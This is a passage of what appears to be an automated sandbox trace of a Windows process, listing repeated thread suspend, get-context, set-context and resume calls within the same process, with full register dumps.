Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0119.903] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fb20, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0119.903] ResumeThread (hThread=0x100) returned 0x1 [0119.904] CloseHandle (hObject=0x100) returned 1 [0119.904] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0120.013] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0120.232] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0120.232] SuspendThread (hThread=0x100) returned 0x0 [0120.232] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10207, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f9c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fbda000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0120.233] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10207, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f9b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0120.233] ResumeThread (hThread=0x100) returned 0x1 [0120.233] CloseHandle (hObject=0x100) returned 1 [0120.233] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0120.449] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0120.563] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0120.563] SuspendThread (hThread=0x100) returned 0x0 [0120.563] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ef68, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fbf5120, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0120.563] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ef60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, 